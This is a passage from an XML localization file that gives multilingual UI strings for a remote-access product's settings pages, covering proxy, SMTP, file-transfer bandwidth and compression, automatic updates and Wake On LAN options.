<fr>Interrompre le masque du serveur proxy</fr>
<it>Maschera server proxy interrotta</it>
<ru>Нарушенная маска прокси-сервера</ru>
<ja>壊れたプロキシ サーバー マスク</ja>
<zh>断开代理服务器掩码</zh>
<ko>중단된 프록시 서버 마스크</ko>
<en-gb>Broken proxy server mask</en-gb>
<hu>Sérült proxykiszolgáló maszk</hu>
<pt-br>Máscara do servidor proxy danificada</pt-br>
<nl>Maskeren bij verbroken verbinding met proxyserver</nl>
</msg>
<msg name="BrokenProxyIPv6">
<en>Broken proxy server mask (IPv6)</en>
<de>"Broken proxy server mask (IPv6)"</de>
<es>Máscara del servidor proxy caída (IPv6)</es>
<fr>Interrompre le masque du serveur proxy (IPv6)</fr>
<it>Maschera server proxy interrotta (IPv6)</it>
<ru>Нарушенная маска прокси-сервера (IPv6)</ru>
<ja>壊れたプロキシ サーバー マスク (IPv6)</ja>
<zh>断开代理服务器掩码 (IPv6)</zh>
<ko>중단된 프록시 서버 마스크 (IPv6)</ko>
<en-gb>Broken proxy server mask (IPv6)</en-gb>
<hu>Sérült proxykiszolgáló maszk (IPv6)</hu>
<pt-br>Máscara do servidor proxy danificada (IPv6)</pt-br>
<nl>Maskeren bij verbroken verbinding met proxyserver (IPv6)</nl>
</msg>
<msg name="ServicingThreads">
<en>Maximum number of servicing threads</en>
<de>Maximale Anzahl der Threads</de>
<es>Número máximo de threads que se están ejecutando</es>
<fr>Nombre maximum de threads (processus léger) en service</fr>
<it>Numero massimo di thread in esecuzione</it>
<ru>Максимальное число обслуживающих потоков</ru>
<ja>サービス中のスレッドの最大数</ja>
<zh>服务线程的最大数目</zh>
<ko>최대 스레드 서비스 수</ko>
<en-gb>Maximum number of servicing threads</en-gb>
<hu>Kiszolgáló szálak maximális száma</hu>
<pt-br>Número máximo de segmentos em serviço</pt-br>
<nl>Maximumaantal servicethreads</nl>
</msg>
<msg name="IdleTimeOut">
<en>Idle time allowed</en>
<de>Zulässige Leerlaufzeit</de>
<es>Tiempo en reposo permitido</es>
<fr>Délai d'inactivité autorisé</fr>
<it>Tempo di inattività consentito</it>
<ru>Разрешенное время простоя</ru>
<ja>許可されたアイドル時間</ja>
<zh>允许的闲置时间</zh>
<ko>허용되는 유휴 시간</ko>
<en-gb>Idle time allowed</en-gb>
<hu>Engedélyezett üresjárati idő</hu>
<pt-br>Tempo ocioso permitido</pt-br>
<nl>Tijd niet-actief toegestaan</nl>
</msg>
<msg name="StallTimeOut">
<en>Stalled transfer timeout</en>
<de>Wartezeit für Übertragungen bei abgebrochener Verbindung</de>
<es>Límite de tiempo de transferencia paralizada</es>
<fr>Délai de transfert fixé</fr>
<it>Timeout di trasferimento interrotto</it>
<ru>Таймаут задержанной передачи</ru>
<ja>停滞中の転送のタイムアウト</ja>
<zh>拖延的传输超时</zh>
<ko>전송 중지 시간 초과</ko>
<en-gb>Stalled transfer timeout</en-gb>
<hu>Leállt átvitel időtúllépése</hu>
<pt-br>Tempo limite de transferência paralisado</pt-br>
<nl>Time-out voor vastgelopen overdracht</nl>
</msg>
<msg name="FileXferDnBW">
<en>File Transfer Download Bandwidth Limit</en>
<de>Begrenzung der Downloadbandbreite für den Dateitransfer</de>
<es>Ancho de banda de descarga máximo para Transferencia de archivos</es>
<fr>Limite de Transfert de Fichiers en Réception sur la Bande Passante</fr>
<it>Larghezza di banda massima per download di Trasferimento file</it>
<ru>Ограничение на полосу пропускания загрузки при передаче файлов</ru>
<ja>ファイル転送のダウンロード帯域幅制限</ja>
<zh>文件传输下载带宽限制</zh>
<ko>파일 전송 다운로드 대역폭 제한</ko>
<en-gb>File Transfer Download Bandwidth Limit</en-gb>
<hu>Fájlátviteli letöltés sávszélességi korlátja</hu>
<pt-br>Limite da largura de banda para transferência de arquivo por download</pt-br>
<nl>Bandbreedtelimiet voor downloads bij bestandsoverdracht</nl>
</msg>
<msg name="FileXferUpBW">
<en>File Transfer Upload Bandwidth Limit</en>
<de>Begrenzung der Uploadbandbreite für den Dateitransfer</de>
<es>Ancho de banda de subida máximo para Transferencia de archivos</es>
<fr>Limite de Transfert de Fichiers en Envoi sur la Bande Passante</fr>
<it>Larghezza di banda massima per upload di Trasferimento file</it>
<ru>Ограничение на полосу пропускания отгрузки при передаче файлов</ru>
<ja>ファイル転送のアップロード帯域幅制限</ja>
<zh>文件传输上载带宽限制</zh>
<ko>파일 전송 업로드 대역폭 제한</ko>
<en-gb>File Transfer Upload Bandwidth Limit</en-gb>
<hu>Fájlátviteli feltöltés sávszélességi korlátja</hu>
<pt-br>Limite da largura de banda para transferência de arquivo por upload</pt-br>
<nl>Bandbreedtelimiet voor uploads bij bestandsoverdracht</nl>
</msg>
<msg name="FileXferCompr">
<en>File Transfer Compression</en>
<es>Compresión de Transferencia de archivos</es>
<fr>Compression du Transfert de Fichier</fr>
<de>Komprimierung bei Datenübertragung</de>
<it>Compressione di trasferimento file</it>
<ru>Сжатие при передаче файлов</ru>
<ja>ファイル転送の圧縮</ja>
<zh>文件传输压缩</zh>
<ko>파일 전송 압축</ko>
<en-gb>File Transfer Compression</en-gb>
<hu>Fájlátvitel tömörítése</hu>
<pt-br>Compactação para transferência de arquivo</pt-br>
<nl>Compressie voor bestandsoverdracht</nl>
</msg>
<cat name="FileXferComprValue">
<msg name="NONE">
<en>No Compression</en>
<de>Keine Kompression</de>
<es>Sin compresión</es>
<fr>Pas de compression</fr>
<it>Nessuna compressione</it>
<ru>Нет сжатия</ru>
<ja>圧縮なし</ja>
<zh>无压缩</zh>
<ko>압축 안 함</ko>
<en-gb>No Compression</en-gb>
<hu>Nincs tömörítés</hu>
<pt-br>Sem compactação</pt-br>
<nl>Geen compressie</nl>
</msg>
<msg name="FAST">
<en>Fast</en>
<de>Schnell</de>
<es>Rápida</es>
<fr>Rapide</fr>
<it>Rapida</it>
<ru>Быстрое</ru>
<ja>高速</ja>
<zh>高速</zh>
<ko>고속</ko>
<en-gb>Fast</en-gb>
<hu>Gyors</hu>
<pt-br>Rápido</pt-br>
<nl>Snel</nl>
</msg>
<msg name="NORMAL">
<en>Normal</en>
<de>Normal</de>
<es>Normal</es>
<fr>Normal</fr>
<it>Normale</it>
<ru>Обычное</ru>
<ja>標準</ja>
<zh>正常</zh>
<ko>보통</ko>
<en-gb>Normal</en-gb>
<hu>Normál</hu>
<pt-br>Normal</pt-br>
<nl>Normaal</nl>
</msg>
<msg name="BEST">
<en>Best</en>
<de>Beste</de>
<es>Óptima</es>
<fr>Meilleure</fr>
<it>Massima</it>
<ru>Максимальное</ru>
<ja>最良</ja>
<zh>最佳</zh>
<ko>최고</ko>
<en-gb>Best</en-gb>
<hu>Legjobb</hu>
<pt-br>Melhor</pt-br>
<nl>Beste</nl>
</msg>
<msg name="ADAPTIVE">
<en>Adaptive</en>
<es>Adaptativo</es>
<de>Adaptiv</de>
<fr>Adaptatif</fr>
<it>Aggiornamenti adattivi</it>
<ru>Адаптивный режим</ru>
<ja>アダプティブ</ja>
<zh>自适应</zh>
<ko>적용</ko>
<hu>Adaptív</hu>
<pt-br>Adaptável</pt-br>
<nl>Adaptief</nl>
<en-gb>Adaptive</en-gb>
</msg>
<msg name="LOW">
<en>Low</en>
<es>Bajo</es>
<de>Niedrig</de>
<fr>Faible</fr>
<it>Bassa</it>
<ru>Низкий</ru>
<ja>低</ja>
<zh>低</zh>
<ko>낮음</ko>
<hu>Alacsony</hu>
<pt-br>Baixo</pt-br>
<nl>Laag</nl>
<en-gb>Low</en-gb>
</msg>
</cat>
<msg name="ForceTunnel">
<en>Force HTTP Tunneling</en>
<de>HTTP Tunneling erzwingen</de>
<es>Forzar túnel HTTP</es>
<fr>Forcer la "tunnelisation" (tunneling) HTTP</fr>
<it>Forza tunneling HTTP</it>
<ru>Принудительно применить HTTP-туннелирование</ru>
<ja>HTTP トンネリングを強制</ja>
<zh>强制 HTTP 隧道</zh>
<ko>HTTP 터널링 실행</ko>
<en-gb>Force HTTP Tunnelling</en-gb>
<hu>HTTP bújtatás kényszerítése</hu>
<pt-br>Forçar encapsulamento HTTP</pt-br>
<nl>HTTP-tunneling verplicht gebruiken</nl>
</msg>
<msg name="VersionCheck">
<en>Detect and download updates automatically</en>
<es>Detectar y descargar automáticamente</es>
<de>Automatisch überprüfen und herunterladen</de>
<fr>Détecter et télécharger automatiquement</fr>
<it>Rileva e scarica automaticamente</it>
<ru>Автоматически обнаруживать и загружать</ru>
<ja>自動的に検出してダウンロードする</ja>
<zh>自动检测和下载</zh>
<ko>자동 탐지 및 다운로드</ko>
<hu>Automatikus észlelés és letöltés</hu>
<pt-br>Detectar e baixar automaticamente</pt-br>
<nl>Automatisch detecteren en downloaden</nl>
<en-gb>Detect and download updates automatically</en-gb>
</msg>
<msg name="AutoStartUpdate">
<en>Install downloaded updates when %PRODUCTNAME is idle</en>
<es>Instale las actualizaciones descargadas cuando %PRODUCTNAME esté en reposo</es>
<de>Heruntergeladene Updates installieren, wenn  %PRODUCTNAME im Leerlauf ist</de>
<fr>Installer les mises à jour téléchargées lorsque %PRODUCTNAME est inactif</fr>
<it>Installa gli aggiornamenti scaricati quando %PRODUCTNAME è inattivo</it>
<ru>Устанавливать загруженные обновления во время простоя %PRODUCTNAME</ru>
<ja>ダウンロードした更新を %PRODUCTNAME のアイドル時にインストールする</ja>
<zh>在 %PRODUCTNAME 空闲时安装下载的更新</zh>
<ko>%PRODUCTNAME이(가) 유휴 상태일 때 다운로드한 업데이트 설치</ko>
<hu>A letöltött frissítések automatikus telepítése, amikor a %PRODUCTNAME tétlen állapotban van</hu>
<pt-br>Instalar atualizações baixadas quando o %PRODUCTNAME estiver ocioso</pt-br>
<nl>Gedownloade updates installeren wanneer %PRODUCTNAME niet actief is</nl>
<en-gb>Install downloaded updates when %PRODUCTNAME is idle</en-gb>
</msg>
<msg name="AutoDownloadAndInstall">
<en>Download and install updates automatically</en>
<es>Descargar e instalar actualizaciones automáticamente</es>
<fr>Télécharger et installer les mises à jour automatiquement</fr>
<de>Updates automatisch herunterladen und installieren</de>
<it>Scarica e installa automaticamente gli aggiornamenti</it>
<ru>Загружать и устанавливать обновления автоматически</ru>
<ja>更新を自動的にダウンロードおよびインストールする</ja>
<zh>自动下载并安装更新</zh>
<ko>업데이트를 자동으로 다운로드 및 설치</ko>
<en-gb>Download and install updates automatically</en-gb>
<hu>Frissítések automatikus letöltése és telepítése</hu>
<pt-br>Baixar e instalar atualizações automaticamente</pt-br>
<nl>Updates automatisch downloaden en installeren</nl>
</msg>
<msg name="Loopback">
<en>Loopback</en>
<de>Loopback</de>
<es>Bucle</es>
<fr>En boucle (Loopback)</fr>
<it>Loopback</it>
<ru>Замыкание на себя</ru>
<ja>ループバック</ja>
<zh>环回</zh>
<ko>루프백</ko>
<en-gb>Loopback</en-gb>
<hu>Visszahurkolás</hu>
<pt-br>Auto-retorno</pt-br>
<nl>Loopback</nl>
</msg>
<msg name="WolTitle">
<en>Wake On LAN</en>
<de>Wake On LAN</de>
<es>Wake On LAN</es>
<fr>Wake On LAN</fr>
<it>Wake On LAN</it>
<ru>Wake On LAN</ru>
<ja>Wake On LAN</ja>
<zh>Wake On LAN</zh>
<ko>Wake On LAN</ko>
<en-gb>Wake On LAN</en-gb>
<hu>Wake On LAN</hu>
<pt-br>Wake On LAN</pt-br>
<nl>Wake On LAN</nl>
</msg>
<msg name="WolFromSleepEnabled">
<en>Enable 'Wake On LAN' from sleep and power off</en>
<es>Habilitar "Wake On LAN" (WoL) desde el modo de suspensión y apagar</es>
<de>„Wake on LAN“ aus Standby-Modus und ausgeschaltetem Zustand aktivieren</de>
<fr>Activer la sortie de veille ou la mise sous tension de l'ordinateur par accès réseau</fr>
<it>Abilita 'Wake On LAN' dagli stati di sospensione e spegnimento</it>
<ru>Включить функцию «Wake On LAN» для пробуждения из ждущего режима и выключенного состояния.</ru>
<ja>スリープおよび電源オフからの 'Wake On LAN' を有効にする</ja>
<zh>从睡眠模式和关机状态启用“LAN 唤醒”</zh>
<ko>절전 모드 및 전원이 꺼진 상태에서 'WOL(Wake On LAN)' 활성화</ko>
<hu>"Wake On LAN" (WoL) ébresztési funkció engedélyezése alvási és kikapcsolt állapotban</hu>
<pt-br>Habilitar 'Wake On LAN' (WoL) no estado de hibernação (sleep) e de desligamento</pt-br>
<nl>Wake On LAN' vanuit de sluimerstand activeren en uitzetten</nl>
<en-gb>Enable 'Wake On LAN' from sleep and power off</en-gb>
</msg>
<msg os="macosx" name="WolFromSleepEnabled">
<en>Enable 'Wake On LAN' from Sleeping mode</en>
<es>Habilitar "Wake On LAN" desde el modo de suspensión</es>
<de>„Wake on LAN“ aus Standby-Modus aktivieren</de>
<fr>Activer la sortie de veille par accès réseau</fr>
<it>Consenti 'Wake On LAN' dalla modalità di Sospensione</it>
<ru>Активировать «Wake On LAN» из спящего режима</ru>
<ja>スリープ モードからの 'Wake On LAN' を有効にする</ja>
<zh>从“睡眠”模式启用“LAN 唤醒”</zh>
<ko>절전 모드에서 'Wake On LAN' 사용</ko>
<en-gb>Enable 'Wake On LAN' from Sleeping mode</en-gb>
<hu>Alvó üzemmódból hálózati jelre történő aktiválás ("Wake On LAN") engedélyezése</hu>
<pt-br>Habilitar 'Wake On LAN' no modo de hibernação</pt-br>
<nl>'Wake On LAN' vanuit de sluimermodus inschakelen</nl>
</msg>
<msg name="WolFromSleepEnabled.NOTE">
<en>WoL from power off state is only possible when WoL is enabled in the BIOS.</en>
<es>WoL desde el estado apagado sólo es posible si WoL está habilitado en el BIOS.</es>
<de>Wake-on-LAN (Remoteaktivierung über LAN) aus dem ausgeschalteten Zustand ist nur möglich, wenn WoL im BIOS aktiviert ist.</de>
<fr>L'allumage par accès réseau n'est possible que si cette option est activée au niveau du BIOS.</fr>
<it>Il WoL dallo stato di spegnimento è possibile solo se è abilitato nel BIOS.</it>
<ru>Функция «WoL» для включения из выключенного состояния действует, только если функция «WoL» включена в BIOS.</ru>
<ja>電源オフ状態から WoL を実行するには、BIOS で WoL が有効になっている必要があります。</ja>
<zh>只有在 BIOS 中启用远程唤醒时才可从关机状态启用远程唤醒。</zh>
<ko>전원이 꺼진 상태에서 WoL이 BIOS에서 활성화된 경우에만 WoL이 가능합니다.</ko>
<hu>A WoL kikapcsolt állapotban csak akkor működik, ha a BIOS-ban ez a funkció engedélyezve van.</hu>
<pt-br>O WoL no estado de desligamento só é possível quando o WoL está habilitado no BIOS.</pt-br>
<nl>Wake On LAN' uitschakelstatus is alleen mogelijk wanneer 'Wake On LAN' is ingeschakeld in de BIOS.</nl>
<en-gb>WoL from power off state is only possible when WoL is enabled in the BIOS.</en-gb>
</msg>
</cat>
<!-- CONFIG.SMTP - messages on the smtp configuration page -->
<cat name="SMTP">
<msg name="TITLE">
<en>SMTP Settings</en>
<de>SMTP Einstellungen</de>
<es>Configuración SMTP</es>
<fr>Paramètres SMTP</fr>
<it>Impostazioni SMTP</it>
<ru>Параметры SMTP</ru>
<ja>SMTP 設定</ja>
<zh>SMTP 设置</zh>
<ko>SMTP 설정</ko>
<en-gb>SMTP Settings</en-gb>
<hu>SMTP beállítások</hu>
<pt-br>Configurações do SMTP</pt-br>
<nl>SMTP-instellingen</nl>
</msg>
<msg name="NOTE">
<en>When %PRODUCTNAME needs to send you email, it will use the SMTP server
configured below. Leave the user name field blank if your SMTP server does
not require authentication.</en>
<de>Wenn %PRODUCTNAME Emails an sie versenden muss, verwendet es den unten angegebenen SMTP Server. Lassen sie das Feld für den Benutzernamen leer, wenn ihr SMTP Server keine Authentifizierung erfordert.</de>
<es>Si %PRODUCTNAME necesita enviarle correo electrónico, utilizará el servidor SMTP
configurado abajo. Dejar el cambio de nombre de usuario en blanco si su servidor SMTP
No requiere autenticación.</es>
<fr>Lorsque %PRODUCTNAME doit vous envoyer un email, il utilisera le serveur SMTP
configuré ci-dessous. Laissez vide le champ nom utilisateur si votre serveur SMTP
ne requiert pas d'authentification.</fr>
<it>Per l'invio di e-mail %PRODUCTNAME utilizzerà il server SMTP configurato di seguito. Se il server SMTP non richiede l'autenticazione, lasciare vuoto il campo del nome utente.</it>
<ru>При необходимости в отправке сообщения по электронной почте приложение %PRODUCTNAME использует настроенный ниже SMTP-сервер. Оставьте поле имени пользователя пустым, если используемый SMTP-сервер не требует проверки подлинности.</ru>
<ja>%PRODUCTNAME から電子メールを送信する必要がある場合、以下に設定された SMTP サーバーを使用します。SMTP サーバーが認証を必要としない場合は、ユーザ名フィールドを空欄のままにします。</ja>
<zh>如果 %PRODUCTNAME 需要向您发送电子邮件,它将使用以下配置的 SMTP 服务器。如果您的 SMTP 服务器不需要验证,请将用户名字段留空。</zh>
<ko>%PRODUCTNAME이(가) 사용자에게 전자 메일을 보내야 할 경우 아래에서 구성한 SMTP 서버를 사용합니다. SMTP 서버가 인증을 필요로 하지 않으면 사용자 이름 필드를 비워 두십시오.</ko>
<en-gb>When %PRODUCTNAME needs to send you e-mail, it will use the SMTP server configured below. Leave the username field blank if your SMTP server does not require authentication.</en-gb>
<hu>Ha a %PRODUCTNAME e-mailt kell küldjön Önnek, akkor az alább konfigurált SMTP kiszolgálót
fogja használni. Hagyja üresen a felhasználónév mezőt, ha az Ön SMTP kiszolgálója
nem követeli meg a hitelesítést</hu>
<pt-br>Quando o %PRODUCTNAME precisar enviar um email para você, ele usará o servidor SMTP
configurado abaixo. Deixe o campo com nome do usuário em branco, se o servidor SMTP
não exigir autenticação.</pt-br>
<nl>Wanneer in %PRODUCTNAME een e-mailbericht naar u moet worden verzonden, wordt hiervoor de SMTP-server gebruikt die hieronder is geconfigureerd. Vul in het veld van de gebruikersnaam niets in als voor uw SMTP-server geen verificatie van de gebruiker vereist is.</nl>
</msg>
<msg name="SERVER">
<en>SMTP server address &amp; port</en>
<de>SMTP Server Adresse &amp; Port</de>
<es>Dirección &amp; puerto del servidor SMTP</es>
<fr>Adresse et port du serveur SMTP</fr>
<it>Indirizzo e porta server SMTP</it>
<ru>Адрес è порт SMTP-сервера</ru>
<ja>SMTP サーバー アドレス &amp; ポート</ja>
<zh>SMTP 服务器地址与端口</zh>
<ko>SMTP 서버 주소 및 포트</ko>
<en-gb>SMTP server address &amp; port</en-gb>
<hu>SMTP kiszolgáló címe és portja</hu>
<pt-br>Porta e endereço do servidor SMTP</pt-br>
<nl>SMTP-serveradres en -poort</nl>
</msg>
<msg name="SECURE">
<en>Force SSL/TLS connection</en>
<de>SSL/TLS Verbindung erzwingen</de>
<es>Forzar conexión SSL/TLS</es>
<fr>Forcer la connexion SSL/TLS</fr>
<it>Forza connessione SSL/TLS</it>
<ru>Принудительно использовать SSL/TLS-подключения</ru>
<ja>SSL/TLS 接続を強制</ja>
<zh>强制 SSL/TLS 连接</zh>
<ko>SSL/TLS 연결 강제 실행</ko>
<en-gb>Force SSL/TLS connection</en-gb>
<hu>SSL/TLS kapcsolat kényszerítése</hu>
<pt-br>Forçar conexão SSL/TLS</pt-br>
<nl>SSL/TLS-verbinding verplicht gebruiken</nl>
</msg>
<msg name="USER">
<en>SMTP user name</en>
<de>SMTP Benutzername</de>
<es>Nombre de usuario SMTP</es>
<fr>Nom Utilisateur SMTP</fr>
<it>Nome utente SMTP</it>
<ru>Имя пользователя SMTP</ru>
<ja>SMTP ユーザ名</ja>
<zh>SMTP 用户名</zh>
<ko>SMTP 사용자 이름</ko>
<en-gb>SMTP username</en-gb>
<hu>SMTP felhasználónév</hu>
<pt-br>Nome de usuário do SMTP</pt-br>
<nl>SMTP-gebruikersnaam</nl>
</msg>
<msg name="PASS">
<en>SMTP password</en>
<de>SMTP Kennwort</de>
<es>Contraseña SMTP</es>
<fr>Mot de passe SMTP</fr>
<it>Password SMTP</it>
<ru>Пароль SMTP</ru>
<ja>SMTP パスワード</ja>
<zh>SMTP 密码</zh>
<ko>SMTP 암호</ko>
<en-gb>SMTP password</en-gb>
<hu>SMTP jelszó</hu>
<pt-br>Senha do SMTP</pt-br>
<nl>SMTP-wachtwoord</nl>
</msg>
<msg name="DOMAIN">
<en>SMTP domain</en>
<de>SMTP Domäne</de>
<es>Dominio SMTP</es>
<fr>Domaine SMTP</fr>
<it>Dominio SMTP</it>
<ru>Домен SMTP</ru>
<ja>SMTP ドメイン</ja>
<zh>SMTP 域</zh>
<ko>SMTP 도메인</ko>
<en-gb>SMTP domain</en-gb>
<hu>SMTP tartomány</hu>
<pt-br>Domínio do SMTP</pt-br>
<nl>SMTP-domein</nl>
</msg>
<msg name="SENDER">
<en>Default sender address</en>
<de>Emailadresse des Absenders</de>
<es>Dirección del emisor predeterminada</es>
<fr>Adresse de l'expéditeur par défaut</fr>
<it>Indirizzo mittente predefinito</it>
<ru>Адрес отправителя по умолчанию</ru>
<ja>既定の送信者アドレス</ja>
<zh>默认发件人地址</zh>
<ko>기본 발신인 주소</ko>
<en-gb>Default sender address</en-gb>
<hu>Alapértelmezett feladói cím</hu>
<pt-br>Endereço padrão do remetente</pt-br>
<nl>Standaardadres voor afzender</nl>
</msg>
</cat>
<!-- CONFIG.PROXY - messages on the proxy configuration page -->
<cat name="PROXY">
<msg name="TITLE">
<en>Proxy Settings</en>
<de>Proxy-Einstellungen</de>
<es>Configuración de proxy</es>
<fr>Paramètres Proxy</fr>
<it>Impostazioni proxy</it>
<ru>Параметры прокси-сервера</ru>
<ja>プロキシ設定</ja>
<zh>代理设置</zh>
<ko>프록시 설정</ko>
<en-gb>Proxy Settings</en-gb>
<hu>Proxybeállítások</hu>
<pt-br>Configurações de proxy</pt-br>
<nl>Proxy-instellingen</nl>
</msg>
<msg name="NOTE">
<en>Here you can specify the proxy server to use when %PRODUCTNAME
needs to access the Internet. If you don't want to use a proxy server,
leave the server address field empty. If the proxy server requires authentication, 
you need to fill in the username and password fields as well. You may also 
retrieve your personal proxy settings (if you have one set).</en>
<de>Hier können sie den Proxy Server angeben, den %PRODUCTNAME verwenden soll, wenn es auf das Internet zugreifen muss. Lassen sie das Feld für die Serveradresse leer, wenn sie keinen Proxy Server verwenden wollen. Wenn der Proxy Server eine Authentifizierung erfordert, müssen sie die Felder für Benutzername und Kennwort ausfüllen. Sie können auch die Proxy Einstellungen empfangen (falls sie welche gesetzt haben),</de>
<es>Aquí puede especificar el servidor proxy a utilizar cuando %PRODUCTNAME
necesita acceder a Internet. Si no desea utilizar un servidor proxy,
deje en blanco el campo de dirección de servidor. Si el servidor proxy requiere autenticación, 
tiene que rellenar también los campos de nombre de usuario y contraseña. También puede 
recuperar su configuración de proxy personal (si tiene una establecida).</es>
<fr>Vous pouvez définir ici le serveur proxy que doit employer %PRODUCTNAME
lorqu'il accède à l'Internet. Si vous ne voulez pas utiliser un serveur proxy,
laissez vide le champs de l'adresse du serveur. Si le serveur proxy exige une authentification,
vous devez remplir les champs nom utilisateur et mot de passe. Vous pouvez également
récupérer vos paramètres personnels de proxy (si vous en avez déjà définis).</fr>
<it>È possibile specificare il server proxy da utilizzare per l'accesso di %PRODUCTNAME a Internet. Se non si desidera utilizzare un server proxy, lasciare vuoto il campo dell'indirizzo del server. Se il server proxy richiede l'autenticazione, è necessario immettere il nome utente e la password negli appositi campi. È inoltre possibile recuperare le impostazioni proxy personali (se sono state impostate).</it>
<ru>Здесь можно указать прокси-сервер, который используется, когда приложению %PRODUCTNAME нужен доступ в Интернет. Если прокси-сервер не используется, оставьте поле адреса сервера пустым. Если прокси-сервер требует прохождения проверки подлинности, то необходимо также заполнить поля имени пользователя и пароля. Можно также использовать персональные настройки прокси-сервера (если они заданы).</ru>
<ja>ここでは、%PRODUCTNAME がインターネットにアクセスする必要がある場合に使用するプロキシ サーバーを指定できます。プロキシ サーバーを使用しない場合は、サーバー アドレスのフィールドを空欄のままにします。プロキシ サーバーが認証を必要とする場合は、ユーザ名とパスワードのフィールドを入力する必要があります。個人用のプロキシ設定を取得することもできます (設定済みの場合)。</ja>
<zh>您可以在此指定 %PRODUCTNAME 需要访问 Internet 时使用的代理服务器。如果不想使用代理服务器,请将服务器地址字段留空。如果代理服务器需要验证,则您还需要在用户名和密码字段中输入用户名和密码。还可以检索您的个人代理设置(如果已设置)。</zh>
<ko>%PRODUCTNAME이(가) 인터넷에 액세스해야 할 경우 사용할 프록시 서버를 지정할 수 있습니다. 프록시 서버를 사용하지 않으려면 서버 주소 필드를 비워 두십시오. 프록시 서버가 인증을 필요로 할 경우 사용자 이름 및 암호 필드도 입력해야 합니다. 또한 개인 프록시 설정을 검색할 수 있습니다(설정 세트가 있을 경우).</ko>
<en-gb>Here you can specify the proxy server to use when %PRODUCTNAME needs to access the Internet. If you don't want to use a proxy server,leave the server address field empty. If the proxy server requires authentication, you need to fill in the username and password fields as well. You may also retrieve your personal proxy settings (if you have set one).</en-gb>
<hu>Itt adhatja meg a használandó proxykiszolgálót, amikor a %PRODUCTNAME
Internet-elérést kér. Ha nem akar proxykiszolgálót használni,
hagyja üresen a kiszolgálócím mezőt. Ha a proxykiszolgáló hitelesítést kér, 
akkor ki kell töltenie a felhasználói név és jelszó mezőket is. Ezen kívül 
visszakeresheti saját proxybeállításait is (ha beállított ilyet).</hu>
<pt-br>Aqui você pode especificar o servidor proxy a usar quando o %PRODUCTNAME
precisar acessar a Internet. Se não desejar usar um servidor proxy,
deixe o campo do endereço de servidor em branco. Se o servidor proxy exigir autenticação,
será necessário preencher os campos de nome de usuário e senha também. Você também poderá recuperar suas configurações de proxy pessoais
(se tiver definido).</pt-br>
<nl>Hier kunt u de proxyserver opgeven die moet worden gebruikt wanneer %PRODUCTNAME toegang tot internet moet krijgen. Als u geen proxyserver wilt gebruiken, vult u niets in het veld voor het serveradres in. Als voor de proxyserver verificatie van de gebruiker vereist is, moet u ook de gebruikersnaam en het wachtwoord in de overeenkomstige velden invoeren. U kunt ook uw persoonlijke proxy-instellingen ophalen (als u deze hebt opgegeven).</nl>
</msg>
<msg name="SERVER">
<en>Proxy server address &amp; port</en>
<de>Proxy-Server-Adresse und -Port</de>
<es>Dirección de servidor proxy &amp; puerto</es>
<fr>Adresse et port du serveur proxy </fr>
<it>Indirizzo e porta server proxy</it>
<ru>Адрес è порт прокси-сервера</ru>
<ja>プロキシ サーバー アドレス &amp; ポート</ja>
<zh>代理服务器地址与端口</zh>
<ko>프록시 서버 주소 및 포트</ko>
<en-gb>Proxy server address &amp; port</en-gb>
<hu>Proxykiszolgáló címe és portja</hu>
<pt-br>Porta e endereço do servidor proxy</pt-br>
<nl>Proxyserveradres en -poort</nl>
</msg>
<msg name="USER">
<en>Proxy user name</en>
<de>Proxy-Benutzername</de>
<es>Nombre de usuario de proxy</es>
<fr>Nom utilisateur du Proxy </fr>
<it>Nome utente proxy</it>
<ru>Имя пользователя прокси-сервера</ru>
<ja>プロキシ ユーザ名</ja>
<zh>代理用户名</zh>
<ko>프록시 사용자 이름</ko>
<en-gb>Proxy username</en-gb>
<hu>Proxy felhasználónév</hu>
<pt-br>Nome do usuário do proxy</pt-br>
<nl>Gebruikersnaam voor proxyserver</nl>
</msg>
<msg name="PASS">
<en>Proxy password</en>
<de>Proxy-Passwort</de>
<es>Contraseña de proxy</es>
<fr>Mot de passe du Proxy </fr>
<it>Password proxy</it>
<ru>Пароля для прокси-сервера</ru>
<ja>プロキシ パスワード</ja>
<zh>代理密码</zh>
<ko>프록시 암호</ko>
<en-gb>Proxy password</en-gb>
<hu>Proxy jelszó</hu>
<pt-br>Senha do proxy</pt-br>
<nl>Wachtwoord voor proxyserver</nl>
</msg>
<msg name="GETPROXY">
<en>Get proxy settings</en>
<de>Proxy-Einstellungen abrufen</de>
<es>Obtener config. de proxy</es>
<fr>Obtenir les réglages</fr>
<it>Ottieni impostazioni proxy</it>
<ru>Получить параметры прокси</ru>
<ja>プロキシ設定を取得</ja>
<zh>获得代理设置</zh>
<ko>프록시 설정 가져오기</ko>
<en-gb>Get proxy settings</en-gb>
<hu>Beállítások észlelése</hu>
<pt-br>Obter configurações proxy</pt-br>
<nl>Proxy-instellingen ophalen</nl>
</msg>
<msg name="TEST">
<en>Test proxy</en>
<es>Probar proxy</es>
<fr>Test proxy</fr>
<de>Proxy testen</de>
<it>Test del proxy</it>
<ru>Тест прокси</ru>
<ja>プロキシ テスト</ja>
<zh>测 试代理</zh>
<ko>프 록시 테 스트</ko>
<en-gb>Test proxy</en-gb>
<hu>Proxy tesztelése</hu>
<pt-br>Testar proxy</pt-br>
<nl>Proxy testen</nl>
</msg>
<msg name="TESTOK">
<en>Proxy test succeeded.</en>
<es>La prueba de proxy es correcta.</es>
<fr>Test proxy réussi</fr>
<de>Proxytest erfolgreich ausgeführt.</de>
<it>Test del proxy eseguito.</it>
<ru>Прокси-сервер успешно протестирован</ru>
<ja>プロキシ テストに成功しました。</ja>
<zh>已成功测试代理。</zh>
<ko>프록시 테스트 성공.</ko>
<en-gb>Proxy test succeeded.</en-gb>
<hu>A proxy teszt sikeres volt</hu>
<pt-br>Teste de proxy bem-sucedido.</pt-br>
<nl>Het testen van de proxyserver is gelukt.</nl>
</msg>
<msg name="TESTFAILED">
<en>Proxy test failed.</en>
<es>La prueba de proxy no es correcta.</es>
<fr>Test proxy échoué.</fr>
<de>Proxytest fehlgeschlagen.</de>
<it>Test del proxy non riuscito.</it>
<ru>Тестирование прокси-сервер завершилось неудачей.</ru>
<ja>プロキシ テストに失敗しました。</ja>
<zh>测试代理失败。</zh>
<ko>프록시 테스트 실패.</ko>
<en-gb>Proxy test failed.</en-gb>
<hu>A proxy teszt sikertelen volt</hu>
<pt-br>Falha no teste de proxy.</pt-br>
<nl>Het testen van de proxyserver is mislukt.</nl>
</msg>
</cat>
<!-- CONFIG.DYNIP - dynamic ip configuration messages -->
<cat name="DYNIP">
<msg name="TITLE">
<en>Dynamic IP Support</en>
<de>"Dynamic IP" Unterstützung</de>
<es>Soporte IP dinámica</es>
